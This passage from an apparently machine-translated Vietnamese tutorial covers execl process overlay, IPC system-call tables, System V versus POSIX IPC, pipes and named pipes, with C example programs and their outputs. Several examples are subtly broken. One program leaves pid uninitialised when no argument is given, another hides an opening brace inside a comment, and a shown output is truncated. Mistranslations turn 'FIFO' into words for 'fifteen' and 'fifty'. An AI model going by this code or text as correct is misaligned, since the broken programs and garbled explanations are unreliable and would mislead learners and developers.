Chương trình trên sẽ phủ lên hình ảnh quá trình của executel_test với helloworld. Đó là lý do, mã hình ảnh tiến trình của executel_test (printf ()) không được thực thi.
Các bước biên dịch và thực hiện
Hello World
Bây giờ, chúng ta sẽ chạy hai chương trình sau từ một chương trình, tức là, executel_run_two_prgms.c.
Chương trình Hello World (helloworld.c)
Chương trình lặp while để in từ 1 đến 10 (while_loop.c)
/ * Tên tệp: while_loop.c * /
/* Prints numbers from 1 to 10 using while loop */
#include<stdio.h>
void main() {
int value = 1;
while (value <= 10) {
printf("%d\t", value);
value++;
}
printf("\n");
return;
}
Sau đây là chương trình chạy hai chương trình (một chương trình từ con và một chương trình khác từ cha).
/ * Tên tệp: executel_run_two_prgms.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
int pid;
pid = fork();
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)0);
printf("Won't reach here\n");
}
return;
}
Note - Đặt lệnh gọi sleep () để đảm bảo các tiến trình con và cha chạy tuần tự (không trùng lặp kết quả).
Các bước biên dịch và thực hiện
Child process: Running Hello World Program
This wouldn't print
Parent process: Running While loop Program
Won't reach here
Bây giờ chúng ta sẽ chạy hai chương trình từ một chương trình, tức là, executel_run_two_prgms.c, chương trình tương tự như trên nhưng với các đối số dòng lệnh. Vì vậy, chúng tôi đang chạy hai chương trình cụ thể là, helloworld.c trong quy trình con và chương trình while_loop.c trong quy trình mẹ. Điều này như sau:
Chương trình Hello World (helloworld.c)
Chương trình lặp while để in từ 1 đến num_times_str theo đối số dòng lệnh (while_loop.c)
Chương trình này thực hiện rộng rãi các hành động sau:
Tạo quy trình con
Tiến trình con thực thi chương trình helloworld.c
Tiến trình mẹ thực thi chương trình while_loop.c truyền giá trị đối số dòng lệnh làm đối số cho chương trình. Nếu các đối số dòng lệnh không được truyền, thì giá trị mặc định được coi là 10. Ngược lại, nó nhận giá trị đối số đã cho. Giá trị đối số phải là số; mã sẽ không xác thực nếu được cung cấp trong bảng chữ cái.
/ * Tên tệp: executel_run_two_prgms.c * /
#include<stdio.h>
#include<string.h>
#include<unistd.h>
void main(int argc, char *argv[0]) {
int pid;
int err;
int num_times;
char num_times_str[5];
/* In no command line arguments are passed, then loop maximum count taken as 10 */
if (argc == 1) {
printf("Taken loop maximum as 10\n");
num_times = 10;
sprintf(num_times_str, "%d", num_times);
} else {
strcpy(num_times_str, argv[1]);
printf("num_times_str is %s\n", num_times_str);
pid = fork();
}
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
err = execl("./helloworld", "./helloworld", (char *)0);
printf("Error %d\n", err);
perror("Execl error: ");
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)num_times_str, (char *)0);
printf("Won't reach here\n");
}
return;
}
Sau đây là chương trình helloworld.c được gọi từ tiến trình con của chương trình, executel_run_two_prgms.c.
/ * Tên tệp: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
Sau đây là chương trình while_loop.c được gọi từ tiến trình mẹ của chương trình, executel_run_two_prgms.c. Đối số cho chương trình này được truyền từ chương trình chạy điều này, tức là, executel_run_two_prgms.c.
/ * Tên tệp: while_loop.c * /
#include<stdio.h>
void main(int argc, char *argv[]) {
int start_value = 1;
int end_value;
if (argc == 1)
end_value = 10;
else
end_value = atoi(argv[1]);
printf("Argv[1] is %s\n", argv[1]);
while (start_value <= end_value) {
printf("%d\t", start_value);
start_value++;
}
printf("\n");
return;
}
Các bước biên dịch và thực hiện
Taken loop maximum as 10
num_times_str is 10
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 10
1 2 3 4 5 6 7 8 9 10
Taken loop maximum as 15
num_times_str is 15
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Bây giờ chúng ta hãy xem các hàm thư viện liên quan đến hình ảnh lớp phủ.
#include<unistd.h>
int execl(const char *path, const char *arg, ...);
Hàm này sẽ phủ hình ảnh tiến trình đang chạy hiện tại với tiến trình mới như đã đề cập trong các đối số, đường dẫn và đối số. Nếu bất kỳ đối số nào cần được chuyển đến một hình ảnh quy trình mới, đối số đó sẽ được gửi qua các đối số “arg” và đối số cuối cùng phải là NULL.
Hàm này sẽ chỉ trả về một giá trị trong trường hợp có lỗi. Các lệnh gọi liên quan đến hình ảnh lớp phủ quy trình như được đề cập bên dưới:
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[], char *const envp[]);
Các lệnh gọi này sẽ giải quyết việc truyền các đối số dòng lệnh (argv []), các biến môi trường (envp []) và các tham số khác.
Bảng sau liệt kê các lệnh gọi Hệ thống khác nhau cùng với mô tả của chúng.
thể loại | Cuộc gọi hệ thống | Sự miêu tả |
---|---|---|
Chung | mở () | Lệnh gọi hệ thống này mở một tệp đã có sẵn hoặc tạo và mở một tệp mới. |
Chung | tạo () | Tạo và mở một tệp mới. |
Chung | đọc () | Đọc nội dung của tệp vào bộ đệm cần thiết. |
Chung | ghi () | Ghi nội dung của bộ đệm vào tệp. |
Chung | đóng () | Đóng bộ mô tả tệp. |
Chung | stat () | Cung cấp thông tin về tệp. |
Đường ống | ống () | Tạo đường dẫn cho giao tiếp trả về hai bộ mô tả tệp để đọc và ghi. |
Đường ống được đặt tên hoặc Fifo | mknod () | Tạo tệp thiết bị nhớ hoặc tệp đặc biệt để tạo FIFO |
Đường ống được đặt tên hoặc Fifo | mkfifo () | Tạo FIFO mới |
Bộ nhớ dùng chung | shmget () | Tạo một phân đoạn bộ nhớ dùng chung mới hoặc lấy mã nhận dạng của phân đoạn hiện có. |
Bộ nhớ dùng chung | shmat () | Đính kèm phân đoạn bộ nhớ dùng chung và làm cho phân đoạn này trở thành một phần của bộ nhớ ảo của quá trình gọi. |
Bộ nhớ dùng chung | shmdt () | Tách phân đoạn bộ nhớ được chia sẻ. |
Bộ nhớ dùng chung | shmctl () | Thực hiện các hoạt động điều khiển cho bộ nhớ dùng chung. Một số thao tác điều khiển chung cho bộ nhớ dùng chung đang xóa phân đoạn bộ nhớ dùng chung (IPC_RMID), nhận thông tin của bộ nhớ dùng chung (IPC_STAT) và cập nhật các giá trị mới của bộ nhớ dùng chung hiện có (IPC_SET). |
Hàng đợi tin nhắn | msgget () | Tạo một hàng đợi tin nhắn mới hoặc truy cập vào một hàng đợi tin nhắn đã tồn tại và nhận được bộ xử lý hoặc số nhận dạng để thực hiện các hoạt động liên quan đến hàng đợi tin nhắn, chẳng hạn như gửi / s tin nhắn đến hàng đợi và nhận / s tin nhắn từ hàng đợi. |
Hàng đợi tin nhắn | msgsnd () | Gửi tin nhắn đến hàng đợi tin nhắn được yêu cầu với số nhận dạng được yêu cầu. |
Hàng đợi tin nhắn | msgrcv () | Nhận tin nhắn từ hàng đợi tin nhắn. Theo mặc định, đây là thao tác chờ vô hạn, có nghĩa là cuộc gọi sẽ bị chặn cho đến khi nhận được tin nhắn. |
Hàng đợi tin nhắn | msgctl () | Thực hiện các hoạt động điều khiển cho hàng đợi tin nhắn. Một vài thao tác điều khiển chung cho hàng đợi tin nhắn đang xóa hàng đợi tin nhắn (IPC_RMID), nhận thông tin của hàng đợi tin nhắn (IPC_STAT) và cập nhật các giá trị mới của hàng đợi tin nhắn hiện có (IPC_SET). |
Semaphores | semget () | Tạo một semaphore mới hoặc lấy mã định danh của semaphore hiện có. Semaphores được sử dụng để thực hiện đồng bộ hóa giữa các IPC khác nhau hoạt động trên cùng một đối tượng. |
Semaphores | semop () | Thực hiện các hoạt động semaphore trên các giá trị semaphore. Các hoạt động cơ bản của semaphore là thu nhận hoặc giải phóng khóa trên semaphore. |
Semaphores | semctl () | Thực hiện các hoạt động điều khiển cho semaphore. Một số thao tác điều khiển chung cho semaphore đang xóa semaphore (IPC_RMID), nhận thông tin của semaphore (IPC_STAT) và cập nhật các giá trị mới của semaphore hiện có (IPC_SET). |
Tín hiệu | tín hiệu () | Cài đặt vị trí của tín hiệu (số tín hiệu) và bộ xử lý tín hiệu. Nói cách khác, đăng ký quy trình, được thực thi khi tín hiệu đó được nâng lên. |
Tín hiệu | sigaction () | Tương tự như signal (), thiết lập vị trí của tín hiệu tức là thực hiện một số hành động nhất định theo bộ xử lý tín hiệu đã đăng ký sau khi nhận được tín hiệu đã đăng ký. Lệnh gọi hệ thống này hỗ trợ kiểm soát tốt hơn đối với signal () chẳng hạn như chặn các tín hiệu nhất định, khôi phục hành động của tín hiệu về trạng thái mặc định sau khi gọi trình xử lý tín hiệu, cung cấp thông tin như thời gian tiêu thụ của người dùng và hệ thống, id tiến trình của quá trình gửi, v.v. |
Bản đồ bộ nhớ | mmap () | Ánh xạ các tập tin vào bộ nhớ. Sau khi ánh xạ vào bộ nhớ, việc truy cập tệp dễ dàng như truy cập dữ liệu bằng cách sử dụng địa chỉ và cũng bằng cách này, cuộc gọi không tốn kém như cuộc gọi hệ thống. |
Bản đồ bộ nhớ | munmap () | Bỏ ánh xạ các tệp được ánh xạ khỏi bộ nhớ. |
Bảng sau liệt kê sự khác biệt giữa System V IPC và POSIX IPC.
HỆ THỐNG V | POSIX |
---|---|
AT & T đã giới thiệu (1983) ba hình thức mới của phương tiện IPC là hàng đợi tin nhắn, bộ nhớ dùng chung và bán kết. | Các tiêu chuẩn giao diện hệ điều hành di động được IEEE chỉ định để xác định giao diện lập trình ứng dụng (API). POSIX bao gồm tất cả ba hình thức IPC |
HỆ THỐNG V IPC bao gồm tất cả các cơ chế IPC, viz., Đường ống, đường ống được đặt tên, hàng đợi tin nhắn, tín hiệu, semaphores và bộ nhớ dùng chung. Nó cũng bao gồm các ổ cắm miền Unix và ổ cắm. | Hầu như tất cả các khái niệm cơ bản đều giống như Hệ thống V. Nó chỉ khác về giao diện |
Giao diện bộ nhớ dùng chung Cuộc gọi shmget (), shmat (), shmdt (), shmctl () | Giao diện bộ nhớ dùng chung Cuộc gọi shm_open (), mmap (), shm_unlink () |
Giao diện hàng đợi tin nhắn Cuộc gọi msgget (), msgsnd (), msgrcv (), msgctl () | Giao diện hàng đợi tin nhắn Cuộc gọi mq_open (), mq_send (), mq_receive (), mq_unlink () |
Giao diện Semaphore Gọi semget (), semop (), semctl () | Các cuộc gọi giao diện Semaphore Đã đặt tên Semaphores sem_open (), sem_close (), sem_unlink (), sem_post (), sem_wait (), sem_trywait (), sem_timedwait (), sem_getvalue () Không tên hoặc dựa trên bộ nhớ semaphores sem_init (), sem_post () (), sem_getvalue (), sem_destroy () |
Sử dụng các khóa và số nhận dạng để xác định các đối tượng IPC. | Sử dụng tên và bộ mô tả tệp để xác định các đối tượng IPC |
NA | Hàng đợi tin nhắn POSIX có thể được theo dõi bằng cách sử dụng các API select (), thăm dò () và epoll |
Cung cấp cuộc gọi msgctl () | Cung cấp các hàm (mq_getattr () và mq_setattr ()) để truy cập hoặc đặt thuộc tính 11. IPC - Hệ thống V & POSIX |
NA | Đa luồng an toàn. Bao gồm các chức năng đồng bộ hóa luồng như khóa mutex, biến điều kiện, khóa đọc-ghi, v.v. |
NA | Cung cấp một số tính năng thông báo cho hàng đợi tin nhắn (chẳng hạn như mq_notify ()) |
Yêu cầu các lệnh gọi hệ thống như shmctl (), lệnh (ipcs, ipcrm) để thực hiện các hoạt động trạng thái / điều khiển. | Các đối tượng bộ nhớ dùng chung có thể được kiểm tra và thao tác bằng các lệnh gọi hệ thống như fstat (), fchmod () |
Kích thước của phân đoạn bộ nhớ chia sẻ System V được cố định tại thời điểm tạo (thông qua shmget ()) | Chúng ta có thể sử dụng hàm ftruncate () để điều chỉnh kích thước của đối tượng bên dưới, rồi tạo lại ánh xạ bằng munmap () và mmap () (hoặc mremap dành riêng cho Linux ()) |
Đường ống là một phương tiện thông tin liên lạc giữa hai hoặc nhiều quá trình liên quan hoặc liên quan đến nhau. Nó có thể là trong một quy trình hoặc là giao tiếp giữa quy trình con và quy trình cha. Giao tiếp cũng có thể ở nhiều cấp độ chẳng hạn như giao tiếp giữa cha mẹ, con cái và cháu ngoại, v.v. Giao tiếp đạt được bằng một quá trình viết vào ống và đọc khác từ ống. Để đạt được lệnh gọi hệ thống ống, hãy tạo hai tệp, một tệp để ghi vào tệp và tệp khác để đọc từ tệp.
Cơ chế đường ống có thể được xem với một kịch bản thời gian thực chẳng hạn như đổ đầy nước vào đường ống vào một thùng chứa nào đó, ví dụ như một cái xô và ai đó lấy nó, ví dụ như bằng một cái cốc. Quá trình làm đầy không gì khác ngoài việc ghi vào đường ống và quá trình đọc không gì khác ngoài việc lấy ra từ đường ống. Điều này ngụ ý rằng một đầu ra (nước) được đầu vào cho đầu kia (xô).
#include<unistd.h>
int pipe(int pipedes[2]);
Lệnh gọi hệ thống này sẽ tạo ra một đường ống cho giao tiếp một chiều, tức là nó tạo ra hai bộ mô tả, một bộ đầu tiên được kết nối để đọc từ đường ống và một bộ còn lại được kết nối để ghi vào đường ống.
Ống mô tả [0] dùng để đọc và ống [1] dùng để viết. Bất cứ thứ gì được viết vào đường ống [1] đều có thể được đọc từ đường ống [0].
Lệnh gọi này sẽ trả về 0 khi thành công và -1 trong trường hợp thất bại. Để biết nguyên nhân của lỗi, hãy kiểm tra với biến errno hoặc hàm perror ().
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
Mặc dù các thao tác cơ bản đối với tệp là đọc và ghi, điều cần thiết là phải mở tệp trước khi thực hiện các thao tác và đóng tệp sau khi hoàn thành các thao tác cần thiết. Thông thường, theo mặc định, 3 bộ mô tả được mở cho mọi quy trình, được sử dụng cho đầu vào (đầu vào tiêu chuẩn - stdin), đầu ra (đầu ra tiêu chuẩn - stdout) và lỗi (lỗi tiêu chuẩn - stderr) có các bộ mô tả tệp 0, 1 và 2 tương ứng.
Lệnh gọi hệ thống này sẽ trả về một bộ mô tả tệp được sử dụng cho các thao tác đọc / ghi / tìm kiếm tệp khác (lseek). Thông thường các bộ mô tả tệp bắt đầu từ 3 và tăng lên một con số khi số tệp được mở.
Các đối số được truyền để mở lệnh gọi hệ thống là tên đường dẫn (đường dẫn tương đối hoặc tuyệt đối), cờ đề cập đến mục đích của việc mở tệp (giả sử, mở để đọc, O_RDONLY, để ghi, O_WRONLY, để đọc và ghi, O_RDWR, để nối vào tệp hiện có O_APPEND, để tạo tệp, nếu không tồn tại với O_CREAT, v.v.) và chế độ bắt buộc cung cấp quyền đọc / ghi / thực thi cho người dùng hoặc chủ sở hữu / nhóm / người khác. Chế độ có thể được đề cập với các biểu tượng.
Đọc - 4, Viết - 2 và Thực hiện - 1.
Ví dụ: Giá trị bát phân (bắt đầu bằng 0), 0764 ngụ ý chủ sở hữu có quyền đọc, ghi và thực thi, nhóm có quyền đọc và ghi, người khác có quyền đọc. Điều này cũng có thể được biểu diễn dưới dạng S_IRWXU | S_IRGRP | S_IWGRP | S_IROTH, ngụ ý hoặc hoạt động của 0700 | 0040 | 0020 | 0004 → 0764.
Lệnh gọi hệ thống này, khi thành công, trả về id bộ mô tả tệp mới và -1 trong trường hợp lỗi. Nguyên nhân của lỗi có thể được xác định bằng biến errno hoặc hàm perror ().
#include<unistd.h>
int close(int fd)
Lệnh gọi hệ thống ở trên đóng bộ mô tả tệp đã được mở. Điều này có nghĩa là tệp không còn được sử dụng và các tài nguyên liên quan có thể được sử dụng lại bởi bất kỳ quá trình nào khác. Lệnh gọi hệ thống này trả về 0 khi thành công và -1 trong trường hợp lỗi. Nguyên nhân của lỗi có thể được xác định bằng biến errno hoặc hàm perror ().
#include<unistd.h>
ssize_t read(int fd, void *buf, size_t count)
Lệnh gọi hệ thống ở trên là để đọc từ tệp được chỉ định với các đối số của bộ mô tả tệp fd, bộ đệm thích hợp với bộ nhớ được cấp phát (tĩnh hoặc động) và kích thước của bộ đệm.
Id bộ mô tả tệp là xác định tệp tương ứng, được trả về sau khi gọi lệnh gọi hệ thống open () hoặc pipe (). Tệp cần được mở trước khi đọc từ tệp. Nó tự động mở trong trường hợp gọi lệnh gọi hệ thống pipe ().
Lệnh gọi này sẽ trả về số byte đã đọc (hoặc số không trong trường hợp gặp phần cuối của tệp) khi thành công và -1 trong trường hợp không thành công. Số byte trả về có thể nhỏ hơn số byte được yêu cầu, đề phòng trường hợp không có dữ liệu hoặc tệp bị đóng. Số lỗi thích hợp được đặt trong trường hợp không thành công.
Để biết nguyên nhân của lỗi, hãy kiểm tra với biến errno hoặc hàm perror ().
#include<unistd.h>
ssize_t write(int fd, void *buf, size_t count)
Lệnh gọi hệ thống ở trên là để ghi vào tệp được chỉ định với các đối số của bộ mô tả tệp fd, một bộ đệm thích hợp với bộ nhớ được cấp phát (tĩnh hoặc động) và kích thước của bộ đệm.
Id bộ mô tả tệp là xác định tệp tương ứng, được trả về sau khi gọi lệnh gọi hệ thống open () hoặc pipe ().
Tệp cần được mở trước khi ghi vào tệp. Nó tự động mở trong trường hợp gọi lệnh gọi hệ thống pipe ().
Lệnh gọi này sẽ trả về số byte được ghi (hoặc số không trong trường hợp không có gì được viết) khi thành công và -1 trong trường hợp thất bại. Số lỗi thích hợp được đặt trong trường hợp không thành công.
Để biết nguyên nhân của lỗi, hãy kiểm tra với biến errno hoặc hàm perror ().
Chương trình mẫu
Sau đây là một số chương trình ví dụ.
Example program 1 - Chương trình viết và đọc hai tin nhắn bằng cách sử dụng pipe.
Thuật toán
Step 1 - Tạo đường ống.
Step 2 - Gửi tin nhắn đến đường ống.
Step 3 - Lấy thông điệp từ đường ống và ghi nó vào đầu ra tiêu chuẩn.
Step 4 - Gửi tin nhắn khác đến đường ống.
Step 5 - Lấy thông điệp từ đường ống và ghi nó vào đầu ra tiêu chuẩn.
Note - Việc lấy lại tin nhắn cũng có thể được thực hiện sau khi gửi tất cả tin nhắn.
Source Code: simplepipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
printf("Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 1 is %s\n", readmessage);
printf("Writing to pipe - Message 2 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[1], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 2 is %s\n", readmessage);
return 0;
}
Note- Tốt nhất, tình trạng trả về cần được kiểm tra cho mọi cuộc gọi hệ thống. Để đơn giản hóa quy trình, việc kiểm tra không được thực hiện cho tất cả các cuộc gọi.
Các bước thực hiện
Tổng hợp
gcc -o simplepipe simplepipe.c
Thực thi / Đầu ra
Writing to pipe - Message 1 is Hi
Reading from pipe – Message 1 is Hi
Writing to pipe - Message 2 is Hi
Reading from pipe – Message 2 is Hell
Example program 2 - Chương trình viết và đọc hai tin nhắn thông qua đường ống sử dụng các tiến trình cha và con.
Thuật toán
Step 1 - Tạo đường ống.
Step 2 - Tạo quy trình con.
Step 3 - Quy trình mẹ ghi vào đường ống.
Step 4 - Tiến trình con lấy thông điệp từ đường ống và ghi nó vào đầu ra chuẩn.
Step 5 - Lặp lại bước 3 và bước 4 một lần nữa.
Source Code: pipewithprocesses.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
int pid;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
pid = fork();
// Child process
if (pid == 0) {
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 1 is %s\n", readmessage);
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 2 is %s\n", readmessage);
} else { //Parent process
printf("Parent Process - Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
printf("Parent Process - Writing to pipe - Message 2 is %s\n", writemessages[1]);
write(pipefds[1], writemessages[1], sizeof(writemessages[1]));
}
return 0;
}
Các bước thực hiện
Compilation
gcc pipewithprocesses.c –o pipewithprocesses
Execution
Parent Process - Writing to pipe - Message 1 is Hi
Parent Process - Writing to pipe - Message 2 is Hello
Child Process - Reading from pipe – Message 1 is Hi
Child Process - Reading from pipe – Message 2 is Hello
Giao tiếp hai chiều bằng đường ống
Giao tiếp đường ống được xem chỉ là giao tiếp một chiều, tức là quá trình mẹ ghi và quá trình con đọc hoặc ngược lại nhưng không phải cả hai. Tuy nhiên, điều gì sẽ xảy ra nếu cả cha mẹ và con cái cần viết và đọc đồng thời từ các đường ống, giải pháp là giao tiếp hai chiều bằng cách sử dụng các đường ống. Cần có hai đường ống để thiết lập giao tiếp hai chiều.
Sau đây là các bước để đạt được giao tiếp hai chiều -
Step 1- Tạo hai đường ống. Đầu tiên là cho cha mẹ viết và con đọc, nói như là pipe1. Thứ hai là để đứa trẻ viết và cha mẹ đọc, nói như pipe2.
Step 2 - Tạo quy trình con.
Step 3 - Đóng các đầu cuối không mong muốn vì chỉ cần một đầu cho mỗi giao tiếp.
Step 4 - Đóng các đầu cuối không mong muốn trong tiến trình mẹ, đọc phần cuối của pipe1 và ghi phần cuối của pipe2.
Step 5 - Đóng các đầu không mong muốn trong tiến trình con, ghi cuối pipe1 và đọc cuối pipe2.
Step 6 - Thực hiện các giao tiếp theo yêu cầu.
Chương trình mẫu
Sample program 1 - Đạt được thông tin liên lạc hai chiều bằng cách sử dụng đường ống.
Thuật toán
Step 1 - Tạo pipe1 để tiến trình mẹ viết và tiến trình con đọc.
Step 2 - Tạo pipe2 để tiến trình con viết và tiến trình mẹ đọc.
Step 3 - Đóng các đầu không mong muốn của đường ống từ phía cha và con.
Step 4 - Quy trình cha viết tin nhắn và quy trình con đọc và hiển thị trên màn hình.
Step 5 - Quy trình con viết tin nhắn và quy trình mẹ đọc và hiển thị trên màn hình.
Source Code: twowayspipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds1[2], pipefds2[2];
int returnstatus1, returnstatus2;
int pid;
char pipe1writemessage[20] = "Hi";
char pipe2writemessage[20] = "Hello";
char readmessage[20];
returnstatus1 = pipe(pipefds1);
if (returnstatus1 == -1) {
printf("Unable to create pipe 1 \n");
return 1;
}
returnstatus2 = pipe(pipefds2);
if (returnstatus2 == -1) {
printf("Unable to create pipe 2 \n");
return 1;
}
pid = fork();
if (pid != 0) // Parent process {
close(pipefds1[0]); // Close the unwanted pipe1 read side
close(pipefds2[1]); // Close the unwanted pipe2 write side
printf("In Parent: Writing to pipe 1 – Message is %s\n", pipe1writemessage);
write(pipefds1[1], pipe1writemessage, sizeof(pipe1writemessage));
read(pipefds2[0], readmessage, sizeof(readmessage));
printf("In Parent: Reading from pipe 2 – Message is %s\n", readmessage);
} else { //child process
close(pipefds1[1]); // Close the unwanted pipe1 write side
close(pipefds2[0]); // Close the unwanted pipe2 read side
read(pipefds1[0], readmessage, sizeof(readmessage));
printf("In Child: Reading from pipe 1 – Message is %s\n", readmessage);
printf("In Child: Writing to pipe 2 – Message is %s\n", pipe2writemessage);
write(pipefds2[1], pipe2writemessage, sizeof(pipe2writemessage));
}
return 0;
}
Các bước thực hiện
Tổng hợp
gcc twowayspipe.c –o twowayspipe
Chấp hành
In Parent: Writing to pipe 1 – Message is Hi
In Child: Reading from pipe 1 – Message is Hi
In Child: Writing to pipe 2 – Message is Hello
In Parent: Reading from pipe 2 – Message is Hello
Các đường ống được dùng để liên lạc giữa các quá trình liên quan. Chúng ta có thể sử dụng các đường ống để giao tiếp quy trình không liên quan, chẳng hạn, chúng ta muốn thực thi chương trình khách từ một thiết bị đầu cuối và chương trình máy chủ từ thiết bị đầu cuối khác? Câu trả lời là Không. Sau đó, làm thế nào chúng ta có thể đạt được giao tiếp các quy trình không liên quan, câu trả lời đơn giản là Ống có tên. Mặc dù điều này hoạt động cho các quá trình liên quan, nó không có ý nghĩa gì khi sử dụng các đường ống được đặt tên để giao tiếp quá trình liên quan.
Chúng tôi đã sử dụng một đường ống để giao tiếp một chiều và hai đường ống để giao tiếp hai chiều. Điều kiện tương tự có áp dụng cho Ống được đặt tên không. Câu trả lời là không, chúng ta có thể sử dụng một đường ống được đặt tên có thể được sử dụng cho giao tiếp hai chiều (giao tiếp giữa máy chủ và máy khách, cộng với máy khách và máy chủ cùng một lúc) vì Named Pipe hỗ trợ giao tiếp hai chiều.
Một tên khác cho đường ống được đặt tên là FIFO (First-In-First-Out). Chúng ta hãy xem lệnh gọi hệ thống (mknod ()) để tạo một đường ống có tên, đây là một loại tệp đặc biệt.
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int mknod(const char *pathname, mode_t mode, dev_t dev);
Lệnh gọi hệ thống này sẽ tạo một tệp đặc biệt hoặc nút hệ thống tệp, chẳng hạn như tệp thông thường, tệp thiết bị hoặc FIFO. Các đối số cho lệnh gọi hệ thống là tên đường dẫn, chế độ và nhà phát triển. Tên đường dẫn cùng với các thuộc tính của chế độ và thông tin thiết bị. Tên đường dẫn là tương đối, nếu thư mục không được chỉ định, nó sẽ được tạo trong thư mục hiện tại. Chế độ được chỉ định là chế độ của tệp chỉ định loại tệp như loại tệp và chế độ tệp như được đề cập trong bảng sau. Trường dev là để chỉ định thông tin thiết bị như số thiết bị chính và phụ.
Loại tệp | Sự miêu tả | Loại tệp | Sự miêu tả |
---|---|---|---|
S_IFBLK | khối đặc biệt | S_IFREG | Tệp thông thường |
S_IFCHR | nhân vật đặc biệt | S_IFDIR | Danh mục |
S_IFIFO | FIFO đặc biệt | S_IFLNK | Liên kết tượng trưng |
Chế độ tệp | Sự miêu tả | Chế độ tệp | Sự miêu tả |
---|---|---|---|
S_IRWXU | Đọc, viết, thực thi / tìm kiếm bởi chủ sở hữu | S_IWGRP | Quyền viết, nhóm |
S_IRUSR | Quyền đọc, chủ sở hữu | S_IXGRP | Thực thi / quyền tìm kiếm, nhóm |
S_IWUSR | Quyền viết, chủ sở hữu | S_IRWXO | Đọc, viết, thực thi / tìm kiếm bởi những người khác |
S_IXUSR | Thực thi / quyền tìm kiếm, chủ sở hữu | S_IROTH | Quyền đọc, những người khác |
S_IRWXG | Đọc, ghi, thực thi / tìm kiếm theo nhóm | S_IWOTH | Quyền viết, những người khác |
S_IRGRP | Quyền đọc, nhóm | S_IXOTH | Thực thi / quyền tìm kiếm, các quyền khác |
Chế độ tệp cũng có thể được biểu thị bằng ký hiệu bát phân chẳng hạn như 0XYZ, trong đó X đại diện cho chủ sở hữu, Y đại diện cho nhóm và Z đại diện cho những người khác. Giá trị của X, Y hoặc Z có thể nằm trong khoảng từ 0 đến 7. Giá trị đọc, ghi và thực thi lần lượt là 4, 2, 1. Nếu cần kết hợp đọc, ghi và thực thi, sau đó thêm các giá trị tương ứng.
Giả sử, nếu chúng ta đề cập, 0640, thì điều này có nghĩa là đọc và ghi (4 + 2 = 6) cho chủ sở hữu, đọc (4) cho nhóm và không có quyền (0) cho người khác.
Lệnh gọi này sẽ trả về 0 khi thành công và -1 trong trường hợp thất bại. Để biết nguyên nhân của lỗi, hãy kiểm tra với biến errno hoặc hàm perror ().
#include <sys/types.h>
#include <sys/stat.h>
int mkfifo(const char *pathname, mode_t mode)
Hàm thư viện này tạo một tệp đặc biệt FIFO, tệp này được sử dụng cho đường ống được đặt tên. Các đối số của hàm này là tên tệp và chế độ. Tên tệp có thể là đường dẫn tuyệt đối hoặc đường dẫn tương đối. Nếu tên đường dẫn đầy đủ (hoặc đường dẫn tuyệt đối) không được cung cấp, tệp sẽ được tạo trong thư mục hiện tại của quá trình thực thi. Thông tin về chế độ tệp được mô tả trong lệnh gọi hệ thống mknod ().
Lệnh gọi này sẽ trả về 0 khi thành công và -1 trong trường hợp thất bại. Để biết nguyên nhân của lỗi, hãy kiểm tra với biến errno hoặc hàm perror ().
Chúng ta hãy xem xét một chương trình chạy máy chủ trên một thiết bị đầu cuối và chạy máy khách trên thiết bị đầu cuối khác. Chương trình sẽ chỉ thực hiện giao tiếp một chiều. Máy khách chấp nhận đầu vào của người dùng và gửi thông báo đến máy chủ, máy chủ in thông báo trên đầu ra. Quá trình được tiếp tục cho đến khi người dùng nhập chuỗi “kết thúc”.
Hãy để chúng tôi hiểu điều này với một ví dụ -
Step 1 - Tạo hai tiến trình, một là máy chủ mười lăm và một quy trình khác là máy chủ toàn phần.
Step 2 - Quá trình máy chủ thực hiện như sau:
Tạo một đường ống được đặt tên (sử dụng lệnh gọi hệ thống mknod ()) với tên “MYFIFO”, nếu chưa được tạo.
Mở đường ống được đặt tên cho mục đích chỉ đọc.
Tại đây, đã tạo FIFO với quyền đọc và ghi cho Chủ sở hữu. Đọc cho Nhóm và không có quyền cho Người khác.
Chờ đợi vô hạn tin nhắn từ Khách hàng.
Nếu thông báo nhận được từ máy khách không phải là "kết thúc", hãy in thông báo. Nếu thông báo là "kết thúc", đóng năm mươi và kết thúc quá trình.
Step 3 - Quy trình khách hàng thực hiện như sau:
Mở đường ống được đặt tên chỉ cho mục đích ghi.
Chấp nhận chuỗi từ người dùng.
